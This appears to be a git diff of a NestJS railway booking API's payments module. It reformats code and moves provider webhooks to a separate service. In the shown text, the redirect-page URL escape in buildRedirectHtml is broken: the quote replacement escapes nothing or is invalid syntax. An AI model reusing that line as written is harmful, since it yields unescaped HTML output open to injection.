BadGatewayException(`Payment service error: ${detail}`); + } + const message = + err instanceof Error && err.message ? err.message : String(err); + this.logger.error( + `payment service unreachable (${method} ${path}): ${message}`, + ); + throw new BadGatewayException("Payment service unreachable"); + } + } +} diff --git a/apps/edr-passenger-api/src/modules/payments/payments.adapters.ts b/apps/edr-passenger-api/src/modules/payments/payments.adapters.ts index b686269c5..0397e62ab 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.adapters.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.adapters.ts @@ -1,10 +1,50 @@ -export interface GatewayResult { success: boolean; providerRef: string; clientAction?: { type: string; url?: string }; } - -export async function telebirrAdapter(_a: number, ref: string): Promise { - await new Promise((r) => setTimeout(r, 200)); - return { success: true, providerRef: `TB-${ref}-${Date.now()}`, clientAction: { type: 'REDIRECT', url: `https://telebirr.sandbox.com/pay/${ref}` } }; +export interface GatewayResult { + success: boolean; + providerRef: string; + clientAction?: { type: string; url?: string }; +} + +export async function telebirrAdapter( + _a: number, + ref: string, +): Promise { + await new Promise((r) => setTimeout(r, 200)); + return { + success: true, + providerRef: `TB-${ref}-${Date.now()}`, + clientAction: { + type: "REDIRECT", + url: `https://telebirr.sandbox.com/pay/${ref}`, + }, + }; +} +export async function cbeBirrAdapter( + _a: number, + ref: string, +): Promise { + await new Promise((r) => setTimeout(r, 150)); + return { success: true, providerRef: `CBE-${ref}-${Date.now()}` }; +} +export async function eBirrAdapter( + _a: number, + ref: string, +): Promise { + await new Promise((r) => setTimeout(r, 150)); + return { success: true, providerRef: `EB-${ref}-${Date.now()}` }; +} +export async function cardAdapter( + _a: number, + ref: string, +): Promise { + await new Promise((r) => setTimeout(r, 150)); + return { + success: !ref.startsWith("FAIL"), + providerRef: `CARD-${ref}-${Date.now()}`, + }; +} +export async function walletAdapter( + amount: number, + balance: number, +): Promise { + return { success: balance >= amount, providerRef: `WALLET-${Date.now()}` }; } -export async function cbeBirrAdapter(_a: number, ref: string): Promise { await new Promise((r) => setTimeout(r, 150)); return { success: true, providerRef: `CBE-${ref}-${Date.now()}` }; } -export async function eBirrAdapter(_a: number, ref: string): Promise { await new Promise((r) => setTimeout(r, 150)); return { success: true, providerRef: `EB-${ref}-${Date.now()}` }; } -export async function cardAdapter(_a: number, ref: string): Promise { await new Promise((r) => setTimeout(r, 150)); return { success: !ref.startsWith('FAIL'), providerRef: `CARD-${ref}-${Date.now()}` }; } -export async function walletAdapter(amount: number, balance: number): Promise { return { success: balance >= amount, providerRef: `WALLET-${Date.now()}` }; } diff --git a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts index 93fd901df..373e10513 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts @@ -1,34 +1,59 @@ -import { Body, Controller, Get, HttpStatus, Param, Post, Query, Res, UseGuards } from '@nestjs/common'; -import { ApiTags, ApiOperation, ApiBearerAuth, ApiQuery, ApiOkResponse, ApiProduces } from '@nestjs/swagger'; -import { Response } from 'express'; -import { PaymentsService } from './payments.service'; -import { InitiatePaymentDto, RefundDto, AddPaymentMethodDto, PaymentRegionEnum, SupportedPaymentMethodDto, PaymentMethodTypeEnum, PaymentPlatformDto } from './payments.dto'; -import { JwtGuard } from '../../common/jwt.guard'; -import { RolesGuard } from '../../common/roles.guard'; -import { Roles } from '../../common/roles.decorator'; -import { UserRole } from '@prisma/client'; +import { + Body, + Controller, + Get, + HttpStatus, + Param, + Post, + Query, + Res, + UseGuards, +} from "@nestjs/common"; +import { + ApiTags, + ApiOperation, + ApiBearerAuth, + ApiQuery, + ApiOkResponse, + ApiProduces, +} from "@nestjs/swagger"; +import { Response } from "express"; +import { PaymentsService } from "./payments.service"; +import { + InitiatePaymentDto, + RefundDto, + AddPaymentMethodDto, + PaymentRegionEnum, + SupportedPaymentMethodDto, + PaymentMethodTypeEnum, + PaymentPlatformDto, +} from "./payments.dto"; +import { JwtGuard } from "../../common/jwt.guard"; +import { RolesGuard } from "../../common/roles.guard"; +import { Roles } from "../../common/roles.decorator"; +import { UserRole } from "@prisma/client"; -@ApiTags('Payment') -@Controller('payments') +@ApiTags("Payment") +@Controller("payments") export class PaymentsController { constructor(private service: PaymentsService) {} - @Get('all') + @Get("all") @UseGuards(JwtGuard, RolesGuard) @Roles(UserRole.ADMIN, UserRole.SUPERVISOR, UserRole.STAFF) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Get all payments with filters (staff/admin only)' }) - @ApiQuery({ name: 'search', required: false }) - @ApiQuery({ name: 'status', required: false }) - @ApiQuery({ name: 'method', required: false }) - @ApiQuery({ name: 'page', required: false }) - @ApiQuery({ name: 'pageSize', required: false }) + @ApiBearerAuth("JWT-auth") + @ApiOperation({ summary: "Get all payments with filters (staff/admin only)" }) + @ApiQuery({ name: "search", required: false }) + @ApiQuery({ name: "status", required: false }) + @ApiQuery({ name: "method", required: false }) + @ApiQuery({ name: "page", required: false }) + @ApiQuery({ name: "pageSize", required: false }) async getAll( - @Query('search') search?: string, - @Query('status') status?: string, - @Query('method') method?: string, - @Query('page') page?: string, - @Query('pageSize') pageSize?: string, + @Query("search") search?: string, + @Query("status") status?: string, + @Query("method") method?: string, + @Query("page") page?: string, + @Query("pageSize") pageSize?: string, ) { return this.service.getAll({ search, @@ -38,80 +63,121 @@ export class PaymentsController { pageSize: pageSize ? parseInt(pageSize) : 10, }); } - - @Post('initiate') - @ApiOperation({ - summary: 'Initiate payment with nationality-based payment methods', - description: `Initiates payment for a booking with support for multiple payment providers:\n\n**Ethiopian Payment Methods:**\n- TELEBIRR - Ethiopia's leading mobile money\n- CBE_BIRR - Commercial Bank of Ethiopia\n- EBIRR - Electronic payment gateway\n\n**Djiboutian Payment Methods:**\n- WAAFI - Djibouti's mobile money service\n\n**International Payment Methods:**\n- CARD - Visa, Mastercard\n- WALLET - Internal wallet balance\n\n**Multi-Currency:**\n- All transactions processed in ETB\n- Display amounts in ETB, DJF, or USD\n- Real-time exchange rate conversion` + + @Post("initiate") + @ApiOperation({ + summary: "Initiate payment with nationality-based payment methods", + description: `Initiates payment for a booking with support for multiple payment providers:\n\n**Ethiopian Payment Methods:**\n- TELEBIRR - Ethiopia's leading mobile money\n- CBE_BIRR - Commercial Bank of Ethiopia\n- EBIRR - Electronic payment gateway\n\n**Djiboutian Payment Methods:**\n- WAAFI - Djibouti's mobile money service\n\n**International Payment Methods:**\n- CARD - Visa, Mastercard\n- WALLET - Internal wallet balance\n\n**Multi-Currency:**\n- All transactions processed in ETB\n- Display amounts in ETB, DJF, or USD\n- Real-time exchange rate conversion`, }) - initiatePayment(@Body() dto: InitiatePaymentDto) { return this.service.initiatePayment(dto); } - - @Get('intents/:bookingId') - @ApiOperation({ summary: 'Get payment intent status for a booking' }) - getIntent(@Param('bookingId') bookingId: string) { return this.service.getIntentByBookingId(bookingId); } - - @Post('refund') + initiatePayment(@Body() dto: InitiatePaymentDto) { + return this.service.initiatePayment(dto); + } + + @Get("intents/:bookingId") + @ApiOperation({ summary: "Get payment intent status for a booking" }) + getIntent(@Param("bookingId") bookingId: string) { + return this.service.getIntentByBookingId(bookingId); + } + + @Post("refund") @UseGuards(JwtGuard, RolesGuard) @Roles(UserRole.ADMIN, UserRole.STAFF, UserRole.AGENT) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Refund a confirmed booking (staff/agent only)' }) - refund(@Body() dto: RefundDto) { return this.service.refund(dto); } + @ApiBearerAuth("JWT-auth") + @ApiOperation({ summary: "Refund a confirmed booking (staff/agent only)" }) + refund(@Body() dto: RefundDto) { + return this.service.refund(dto); + } - @Post('methods') + @Post("methods") @UseGuards(JwtGuard, RolesGuard) @Roles(UserRole.ADMIN, UserRole.STAFF) - @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Add a payment system to the platform catalog (admin only)' }) - addMethod(@Body() dto: AddPaymentMethodDto) { return this.service.addPaymentMethod(dto); } - - @Get('methods') + @ApiBearerAuth("JWT-auth") @ApiOperation({ - summary: 'List payment systems supported by the platform', - description: 'Returns the global catalog of accepted payment systems. Not user-specific. Optionally filter by region to match a passenger\'s nationality.', + summary: "Add a payment system to the platform catalog (admin only)", }) - @ApiQuery({ name: 'region', enum: PaymentRegionEnum, required: false }) - @ApiOkResponse({ type: [SupportedPaymentMethodDto] }) - getMethods(@Query('region') region?: PaymentRegionEnum) { return this.service.getSupportedPaymentMethods(region); } + addMethod(@Body() dto: AddPaymentMethodDto) { + return this.service.addPaymentMethod(dto); + } - @Get('checkout') + @Get("methods") @ApiOperation({ - summary: 'Browser checkout redirect', - description: 'Initiates payment and returns an HTML page that auto-redirects the browser to the provider checkout URL. Designed to be opened directly in a browser tab.', + summary: "List payment systems supported by the platform", + description: + "Returns the global catalog of accepted payment systems. Not user-specific. Optionally filter by region to match a passenger's nationality.", }) - @ApiQuery({ name: 'bookingId', required: true }) - @ApiQuery({ name: 'method', enum: PaymentMethodTypeEnum, required: true }) - @ApiQuery({ name: 'platform', enum: ['web', 'mobile'], required: false }) - @ApiProduces('text/html') + @ApiQuery({ name: "region", enum: PaymentRegionEnum, required: false }) + @ApiOkResponse({ type: [SupportedPaymentMethodDto] }) + getMethods(@Query("region") region?: PaymentRegionEnum) { + return this.service.getSupportedPaymentMethods(region); + } + + @Get("checkout") + @ApiOperation({ + summary: "Browser checkout redirect", + description: + "Initiates payment and returns an HTML page that auto-redirects the browser to the provider checkout URL. Designed to be opened directly in a browser tab.", + }) + @ApiQuery({ name: "bookingId", required: true }) + @ApiQuery({ name: "method", enum: PaymentMethodTypeEnum, required: true }) + @ApiQuery({ name: "platform", enum: ["web", "mobile"], required: false }) + @ApiProduces("text/html") async checkout( - @Query('bookingId') bookingId: string, - @Query('method') method: PaymentMethodTypeEnum, - @Query('platform') platform: PaymentPlatformDto = 'web', + @Query("bookingId") bookingId: string, + @Query("method") method: PaymentMethodTypeEnum, + @Query("platform") platform: PaymentPlatformDto = "web", @Res() res: Response, ) { if (!bookingId) { - return res.status(HttpStatus.BAD_REQUEST).type('html').send(this.buildErrorHtml('Missing required query parameter: bookingId')); + return res + .status(HttpStatus.BAD_REQUEST) + .type("html") + .send( + this.buildErrorHtml("Missing required query parameter: bookingId"), + ); } if (!method || !Object.values(PaymentMethodTypeEnum).includes(method)) { - return res.status(HttpStatus.BAD_REQUEST).type('html').send(this.buildErrorHtml('Missing or invalid query parameter: method')); + return res + .status(HttpStatus.BAD_REQUEST) + .type("html") + .send( + this.buildErrorHtml("Missing or invalid query parameter: method"), + ); } try { - const result = await this.service.initiatePayment({ bookingId, method, platform }); - const url = result.clientAction?.type === 'REDIRECT' ? result.clientAction.url : undefined; + const result = await this.service.initiatePayment({ + bookingId, + method, + platform, + }); + const url = + result.clientAction?.type === "REDIRECT" + ? result.clientAction.url + : undefined; if (url) { - return res.status(HttpStatus.OK).type('html').send(this.buildRedirectHtml(url)); + return res + .status(HttpStatus.OK) + .type("html") + .send(this.buildRedirectHtml(url)); } - return res.status(HttpStatus.OK).type('html').send(this.buildStatusHtml(result.status, result.intentId)); + return res + .status(HttpStatus.OK) + .type("html") + .send(this.buildStatusHtml(result.status, result.intentId)); } catch (err: unknown) { - const message = err instanceof Error ? err.message : 'An unexpected error occurred'; - return res.status(HttpStatus.OK).type('html').send(this.buildErrorHtml(message)); + const message = + err instanceof Error ? err.message : "An unexpected error occurred"; + return res + .status(HttpStatus.OK) + .type("html") + .send(this.buildErrorHtml(message)); } } private buildRedirectHtml(url: string): string { - const escaped = url.replace(/\"/g, '"'); + const escaped = url.replace(/\"/g, """); return ` diff --git a/apps/edr-passenger-api/src/modules/payments/payments.dto.ts b/apps/edr-passenger-api/src/modules/payments/payments.dto.ts index 9d8467c3f..309bd4a0a 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.dto.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.dto.ts @@ -1,36 +1,53 @@ -import { IsString, IsEnum, IsOptional, IsIn, IsBoolean, IsInt } from 'class-validator'; -import { ApiProperty, ApiPropertyOptional } from '@nestjs/swagger'; -import { PaymentIntentStatus } from '@prisma/client'; +import { + IsString, + IsEnum, + IsOptional, + IsIn, + IsBoolean, + IsInt, +} from "class-validator"; +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { PaymentIntentStatus } from "@prisma/client"; export enum PaymentRegionEnum { - ETHIOPIA = 'ETHIOPIA', - DJIBOUTI = 'DJIBOUTI', - INTERNATIONAL = 'INTERNATIONAL', - GLOBAL = 'GLOBAL', + ETHIOPIA = "ETHIOPIA", + DJIBOUTI = "DJIBOUTI", + INTERNATIONAL = "INTERNATIONAL", + GLOBAL = "GLOBAL", } -export enum PaymentMethodTypeEnum { - TELEBIRR = 'TELEBIRR', // Ethiopia - CBE_BIRR = 'CBE_BIRR', // Ethiopia - EBIRR = 'EBIRR', // Ethiopia - WAAFI = 'WAAFI', // Djibouti - CARD = 'CARD', // International - WALLET = 'WALLET' // Internal +export enum PaymentMethodTypeEnum { + TELEBIRR = "TELEBIRR", // Ethiopia + CBE_BIRR = "CBE_BIRR", // Ethiopia + EBIRR = "EBIRR", // Ethiopia + WAAFI = "WAAFI", // Djibouti + CARD = "CARD", // International + WALLET = "WALLET", // Internal } -export type PaymentPlatformDto = 'web' | 'mobile'; +export type PaymentPlatformDto = "web" | "mobile"; export class InitiatePaymentDto { - @ApiProperty({ example: 'booking-uuid' }) @IsString() bookingId: string; + @ApiProperty({ example: "booking-uuid" }) @IsString() bookingId: string; @ApiProperty({ enum: PaymentMethodTypeEnum, - description: 'Payment method: TELEBIRR/CBE_BIRR/EBIRR (Ethiopia), WAAFI (Djibouti), CARD (International), WALLET (Internal)', - example: 'TELEBIRR' - }) @IsEnum(PaymentMethodTypeEnum) method: PaymentMethodTypeEnum; - @ApiPropertyOptional({ description: 'Saved payment method ID (optional)' }) @IsOptional() @IsString() paymentMethodId?: string; - @ApiPropertyOptional({ enum: ['web', 'mobile'], default: 'web', description: 'Payment platform (web or mobile)' }) + description: + "Payment method: TELEBIRR/CBE_BIRR/EBIRR (Ethiopia), WAAFI (Djibouti), CARD (International), WALLET (Internal)", + example: "TELEBIRR", + }) + @IsEnum(PaymentMethodTypeEnum) + method: PaymentMethodTypeEnum; + @ApiPropertyOptional({ description: "Saved payment method ID (optional)" }) @IsOptional() - @IsIn(['web', 'mobile']) + @IsString() + paymentMethodId?: string; + @ApiPropertyOptional({ + enum: ["web", "mobile"], + default: "web", + description: "Payment platform (web or mobile)", + }) + @IsOptional() + @IsIn(["web", "mobile"]) platform?: PaymentPlatformDto; } @@ -40,42 +57,76 @@ export class RefundDto { } export class AddPaymentMethodDto { - @ApiProperty({ enum: PaymentMethodTypeEnum }) @IsEnum(PaymentMethodTypeEnum) type: PaymentMethodTypeEnum; + @ApiProperty({ enum: PaymentMethodTypeEnum }) + @IsEnum(PaymentMethodTypeEnum) + type: PaymentMethodTypeEnum; @ApiProperty() @IsString() displayName: string; - @ApiProperty({ enum: PaymentRegionEnum }) @IsEnum(PaymentRegionEnum) region: PaymentRegionEnum; - @ApiPropertyOptional({ example: 'ETB' }) @IsOptional() @IsString() currency?: string; + @ApiProperty({ enum: PaymentRegionEnum }) + @IsEnum(PaymentRegionEnum) + region: PaymentRegionEnum; + @ApiPropertyOptional({ example: "ETB" }) + @IsOptional() + @IsString() + currency?: string; @ApiPropertyOptional() @IsOptional() @IsString() providerId?: string; - @ApiPropertyOptional({ default: true }) @IsOptional() @IsBoolean() enabled?: boolean; - @ApiPropertyOptional({ default: 0 }) @IsOptional() @IsInt() sortOrder?: number; + @ApiPropertyOptional({ default: true }) + @IsOptional() + @IsBoolean() + enabled?: boolean; + @ApiPropertyOptional({ default: 0 }) + @IsOptional() + @IsInt() + sortOrder?: number; } export class SupportedPaymentMethodDto { @ApiProperty({ enum: PaymentMethodTypeEnum }) type: PaymentMethodTypeEnum; - @ApiProperty({ example: 'Telebirr' }) displayName: string; + @ApiProperty({ example: "Telebirr" }) displayName: string; @ApiProperty({ enum: PaymentRegionEnum }) region: PaymentRegionEnum; - @ApiProperty({ example: 'ETB', description: 'Settlement currency for this method' }) currency: string; - @ApiProperty({ description: 'Whether the platform currently accepts this method' }) enabled: boolean; + @ApiProperty({ + example: "ETB", + description: "Settlement currency for this method", + }) + currency: string; + @ApiProperty({ + description: "Whether the platform currently accepts this method", + }) + enabled: boolean; } export class ClientActionDto { - @ApiProperty({ enum: ['REDIRECT', 'LAUNCH_APP'] }) type: 'REDIRECT' | 'LAUNCH_APP'; - @ApiPropertyOptional({ description: 'Set when type=REDIRECT (web flow)' }) url?: string; - @ApiPropertyOptional({ description: 'Set when type=LAUNCH_APP (mobile flow)' }) prepayId?: string; - @ApiPropertyOptional({ description: 'Set when type=LAUNCH_APP (mobile flow)' }) receiveCode?: string; - @ApiPropertyOptional({ description: 'Set when type=LAUNCH_APP (mobile flow)' }) shortCode?: string; + @ApiProperty({ enum: ["REDIRECT", "LAUNCH_APP"] }) type: + | "REDIRECT" + | "LAUNCH_APP"; + @ApiPropertyOptional({ description: "Set when type=REDIRECT (web flow)" }) + url?: string; + @ApiPropertyOptional({ + description: "Set when type=LAUNCH_APP (mobile flow)", + }) + prepayId?: string; + @ApiPropertyOptional({ + description: "Set when type=LAUNCH_APP (mobile flow)", + }) + receiveCode?: string; + @ApiPropertyOptional({ + description: "Set when type=LAUNCH_APP (mobile flow)", + }) + shortCode?: string; } export class InitiateResponseDto { @ApiProperty() intentId: string; @ApiProperty({ enum: PaymentIntentStatus }) status: PaymentIntentStatus; - @ApiPropertyOptional({ type: ClientActionDto }) clientAction?: ClientActionDto; + @ApiPropertyOptional({ type: ClientActionDto }) + clientAction?: ClientActionDto; @ApiPropertyOptional() merchantOrderId?: string; } export class IntentStatusDto { @ApiProperty() intentId: string; @ApiProperty({ enum: PaymentIntentStatus }) status: PaymentIntentStatus; - @ApiPropertyOptional({ type: ClientActionDto }) clientAction?: ClientActionDto; + @ApiPropertyOptional({ type: ClientActionDto }) + clientAction?: ClientActionDto; @ApiPropertyOptional() merchantOrderId?: string; @ApiPropertyOptional() paidAt?: string; @ApiPropertyOptional() failureCode?: string; diff --git a/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts b/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts index 0fe3bdd3b..0fd594b39 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.e2e-spec.ts @@ -1,10 +1,10 @@ -import { Test, TestingModule } from '@nestjs/testing'; -import { INestApplication, ValidationPipe } from '@nestjs/common'; -import request from 'supertest'; -import { AppModule } from '../../app.module'; -import { PrismaService } from '../../common/prisma.service'; +import { Test, TestingModule } from "@nestjs/testing"; +import { INestApplication, ValidationPipe } from "@nestjs/common"; +import request from "supertest"; +import { AppModule } from "../../app.module"; +import { PrismaService } from "../../common/prisma.service"; -describe('Payments E2E', () => { +describe("Payments E2E", () => { let app: INestApplication; let prisma: PrismaService; let authToken: string; @@ -16,47 +16,123 @@ describe('Payments E2E', () => { }).compile(); app = moduleFixture.createNestApplication(); - app.useGlobalPipes(new ValidationPipe({ transform: true, whitelist: true })); + app.useGlobalPipes( + new ValidationPipe({ transform: true, whitelist: true }), + ); await app.init(); prisma = app.get(PrismaService); const testUser = await prisma.user.create({ - data: { email: 'payment-test@example.com', phone: '+251911111112', fullName: 'Payment Test User', passwordHash: '$2b$10$abcdefghijklmnopqrstuvwxyz', role: 'PASSENGER' }, + data: { + email: "payment-test@example.com", + phone: "+251911111112", + fullName: "Payment Test User", + passwordHash: "$2b$10$abcdefghijklmnopqrstuvwxyz", + role: "PASSENGER", + }, }); - const passenger = await prisma.passenger.create({ data: { userId: testUser.id } }); + const passenger = await prisma.passenger.create({ + data: { userId: testUser.id }, + }); - await prisma.walletAccount.create({ data: { passengerId: passenger.id, balanceMinor: 100000, currency: 'ETB' } }); + await prisma.walletAccount.create({ + data: { + passengerId: passenger.id, + balanceMinor: 100000, + currency: "ETB", + }, + }); - authToken = 'mock-jwt-token'; + authToken = "mock-jwt-token"; - const station1 = await prisma.station.create({ data: { code: 'TST1', name: 'Test Station 1', city: 'Test City', lat: 9.0, lng: 38.0 } }); - const station2 = await prisma.station.create({ data: { code: 'TST2', name: 'Test Station 2', city: 'Test City 2', lat: 9.5, lng: 38.5 } }); + const station1 = await prisma.station.create({ + data: { + code: "TST1", + name: "Test Station 1", + city: "Test City", + lat: 9.0, + lng: 38.0, + }, + }); + const station2 = await prisma.station.create({ + data: { + code: "TST2", + name: "Test Station 2", + city: "Test City 2", + lat: 9.5, + lng: 38.5, + }, + }); - const train = await prisma.train.create({ data: { number: 'TEST-001', name: 'Test Train' } }); + const train = await prisma.train.create({ + data: { number: "TEST-001", name: "Test Train" }, + }); const schedule = await prisma.trainSchedule.create({ - data: { trainId: train.id, originStationId: station1.id, destinationStationId: station2.id, departureAt: new Date(Date.now() + 86400000), arrivalAt: new Date(Date.now() + 90000000), durationMinutes: 60 }, + data: { + trainId: train.id, + originStationId: station1.id, + destinationStationId: station2.id, + departureAt: new Date(Date.now() + 86400000), + arrivalAt: new Date(Date.now() + 90000000), + durationMinutes: 60, + }, }); - const coachType = await prisma.coachType.create({ data: { name: 'Standard', code: 'STD' } }); + const coachType = await prisma.coachType.create({ + data: { name: "Standard", code: "STD" }, + }); const seatClass = await prisma.seatClass.create({ - data: { name: 'Economy Regular', description: 'Standard economy seating', baseFareMinor: 45000, isActive: true, coachTypeId: coachType.id }, + data: { + name: "Economy Regular", + description: "Standard economy seating", + baseFareMinor: 45000, + isActive: true, + coachTypeId: coachType.id, + }, }); const coach = await prisma.coach.create({ - data: { coachTypeId: coachType.id, number: 'TEST-C1', arrangement: '2+2', capacity: 10, status: 'ACTIVE' }, + data: { + coachTypeId: coachType.id, + number: "TEST-C1", + arrangement: "2+2", + capacity: 10, + status: "ACTIVE", + }, }); - const seat = await prisma.seat.create({ data: { coachId: coach.id, row: 1, col: 'A', seatNumber: '1A', status: 'AVAILABLE' } }); + const seat = await prisma.seat.create({ + data: { + coachId: coach.id, + row: 1, + col: "A", + seatNumber: "1A", + status: "AVAILABLE", + }, + }); const booking = await prisma.booking.create({ - data: { bookingRef: 'TEST-BOOK-001', passengerId: passenger.id, scheduleId: schedule.id, status: 'PENDING_PAYMENT', totalMinor: 50000, currency: 'ETB' }, + data: { + bookingRef: "TEST-BOOK-001", + passengerId: passenger.id, + scheduleId: schedule.id, + status: "PENDING_PAYMENT", + totalMinor: 50000, + currency: "ETB", + }, }); - await prisma.bookingSeat.create({ data: { bookingId: booking.id, seatId: seat.id, passengerName: 'Test Passenger' } }); + await prisma.bookingSeat.create({ + data: { + bookingId: booking.id, + seatId: seat.id, + passengerName: "Test Passenger", + }, + }); bookingId = booking.id; }); @@ -71,89 +147,60 @@ describe('Payments E2E', () => { prisma.coach.deleteMany(), prisma.trainSchedule.deleteMany(), prisma.train.deleteMany(), - prisma.station.deleteMany({ where: { code: { in: ['TST1', 'TST2'] } } }), + prisma.station.deleteMany({ where: { code: { in: ["TST1", "TST2"] } } }), prisma.walletLedgerEntry.deleteMany(), prisma.walletAccount.deleteMany(), prisma.passenger.deleteMany(), - prisma.user.deleteMany({ where: { email: 'payment-test@example.com' } }), + prisma.user.deleteMany({ where: { email: "payment-test@example.com" } }), ]); await app.close(); }); - describe('POST /payments/initiate', () => { - it('should initiate wallet payment successfully', async () => { + describe("POST /payments/initiate", () => { + it("should initiate wallet payment successfully", async () => { const response = await request(app.getHttpServer()) - .post('/payments/initiate') - .set('Authorization', `Bearer ${authToken}`) - .send({ bookingId, method: 'WALLET' }) + .post("/payments/initiate") + .set("Authorization", `Bearer ${authToken}`) + .send({ bookingId, method: "WALLET" }) .expect(201); expect(response.body.intentId).toBeDefined(); - expect(response.body.status).toBe('SUCCEEDED'); + expect(response.body.status).toBe("SUCCEEDED"); }); - it('should return 400 for invalid payment method', async () => { + it("should return 400 for invalid payment method", async () => { await request(app.getHttpServer()) - .post('/payments/initiate') - .set('Authorization', `Bearer ${authToken}`) - .send({ bookingId, method: 'INVALID_METHOD' }) + .post("/payments/initiate") + .set("Authorization", `Bearer ${authToken}`) + .send({ bookingId, method: "INVALID_METHOD" }) .expect(400); }); - it('should return 404 for non-existent booking', async () => { + it("should return 404 for non-existent booking", async () => { await request(app.getHttpServer()) - .post('/payments/initiate') - .set('Authorization', `Bearer ${authToken}`) - .send({ bookingId: 'non-existent-id', method: 'WALLET' }) + .post("/payments/initiate") + .set("Authorization", `Bearer ${authToken}`) + .send({ bookingId: "non-existent-id", method: "WALLET" }) .expect(404); }); }); - describe('GET /payments/intents/:bookingId', () => { - it('should get payment intent status', async () => { + describe("GET /payments/intents/:bookingId", () => { + it("should get payment intent status", async () => { const response = await request(app.getHttpServer()) .get(`/payments/intents/${bookingId}`) - .set('Authorization', `Bearer ${authToken}`) + .set("Authorization", `Bearer ${authToken}`) .expect(200); expect(response.body.intentId).toBeDefined(); expect(response.body.status).toBeDefined(); }); - it('should return 404 for non-existent intent', async () => { + it("should return 404 for non-existent intent", async () => { await request(app.getHttpServer()) - .get('/payments/intents/non-existent-booking') - .set('Authorization', `Bearer ${authToken}`) + .get("/payments/intents/non-existent-booking") + .set("Authorization", `Bearer ${authToken}`) .expect(404); }); }); - describe('Webhook endpoints', () => { - it('should handle Telebirr webhook', async () => { - await request(app.getHttpServer()) - .post('/payments/webhooks/telebirr') - .send({ merch_order_id: 'TEST-ORDER-123', payment_order_id: 'PAY-123', trade_status: 'Completed', sign: 'mock-signature' }) - .expect(200); - }); - - it('should handle CBE Birr webhook', async () => { - await request(app.getHttpServer()) - .post('/payments/webhooks/cbe-birr') - .send({ merchantId: 'TEST-MERCHANT', merchantOrderId: 'TEST-ORDER-123', orderId: 'CBE-ORDER-123', status: 'SUCCESS', signature: 'mock-signature' }) - .expect(200); - }); - - it('should handle eBirr webhook', async () => { - await request(app.getHttpServer()) - .post('/payments/webhooks/ebirr') - .send({ merchantCode: 'TEST-MERCHANT', orderNo: 'TEST-ORDER-123', tradeStatus: 'TRADE_SUCCESS', timestamp: Date.now(), sign: 'mock-signature' }) - .expect(200); - }); - - it('should handle Card webhook', async () => { - await request(app.getHttpServer()) - .post('/payments/webhooks/card') - .set('stripe-signature', 'mock-signature') - .send({ id: 'evt_123', type: 'payment_intent.succeeded', data: { object: { id: 'pi_123', status: 'succeeded', amount: 50000, currency: 'ETB', metadata: { merchantOrderId: 'TEST-ORDER-123', bookingRef: 'TEST-BOOK-001' } } }, created: Math.floor(Date.now() / 1000) }) - .expect(200); - }); - }); + // Provider webhooks moved to the payment microservice (apps/edr-payment-api /webhooks/*). }); diff --git a/apps/edr-passenger-api/src/modules/payments/payments.module.ts b/apps/edr-passenger-api/src/modules/payments/payments.module.ts index 1f8086ac3..dfab3e9f1 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.module.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.module.ts @@ -1,38 +1,25 @@ -import { Module } from '@nestjs/common'; -import { HttpModule } from '@nestjs/axios'; -import { PaymentsController } from './payments.controller'; -import { PaymentsService } from './payments.service'; -import { SeatsModule } from '../seats/seats.module'; -import { TicketsModule } from '../tickets/tickets.module'; -import { - TelebirrProvider, - CbeBirrProvider, - EBirrProvider, - CardProvider, - WaafiProvider, -} from '@edr/payment-providers'; -import { WebhooksController } from './webhooks/webhooks.controller'; -import { TelebirrWebhookService } from './webhooks/telebirr-webhook.service'; -import { CbeBirrWebhookService } from './webhooks/cbe-birr-webhook.service'; -import { EBirrWebhookService } from './webhooks/ebirr-webhook.service'; -import { CardWebhookService } from './webhooks/card-webhook.service'; -import { WaafiWebhookService } from './webhooks/waafi-webhook.service'; +import { Module } from "@nestjs/common"; +import { HttpModule } from "@nestjs/axios"; +import { PaymentsController } from "./payments.controller"; +import { PaymentsService } from "./payments.service"; +import { InternalPaymentsController } from "./internal-payments.controller"; +import { PaymentClientService } from "./payment-client.service"; +import { ServiceAuthGuard } from "../../common/guards/service-auth.guard"; +import { SeatsModule } from "../seats/seats.module"; +import { TicketsModule } from "../tickets/tickets.module"; +/** + * Post-cutover (docs/payment-service phase 6): provider gateways and webhook handlers live in + * apps/edr-payment-api. This module keeps domain validation, the WALLET flow, the payment + * client, and the idempotent mark-paid consumer. + */ @Module({ - imports: [SeatsModule, TicketsModule, HttpModule.register({ timeout: 10_000 })], - controllers: [PaymentsController, WebhooksController], - providers: [ - PaymentsService, - TelebirrProvider, - CbeBirrProvider, - EBirrProvider, - CardProvider, - WaafiProvider, - TelebirrWebhookService, - CbeBirrWebhookService, - EBirrWebhookService, - CardWebhookService, - WaafiWebhookService, + imports: [ + SeatsModule, + TicketsModule, + HttpModule.register({ timeout: 10_000 }), ], + controllers: [PaymentsController, InternalPaymentsController], + providers: [PaymentsService, PaymentClientService, ServiceAuthGuard], }) export class PaymentsModule {} diff --git a/apps/edr-passenger-api/src/modules/payments/payments.service.spec.ts b/apps/edr-passenger-api/src/modules/payments/payments.service.spec.ts index d4a35e14f..1a2ebdf1f 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.service.spec.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.service.spec.ts @@ -1,19 +1,21 @@ -import { Test, TestingModule } from '@nestjs/testing'; -import { PaymentsService } from './payments.service'; -import { PrismaService } from '../../common/prisma.service'; -import { SeatsService } from '../seats/seats.service'; -import { TicketsService } from '../tickets/tickets.service'; -import { EventEmitter2 } from '@nestjs/event-emitter'; +import { Test, TestingModule } from "@nestjs/testing"; +import { 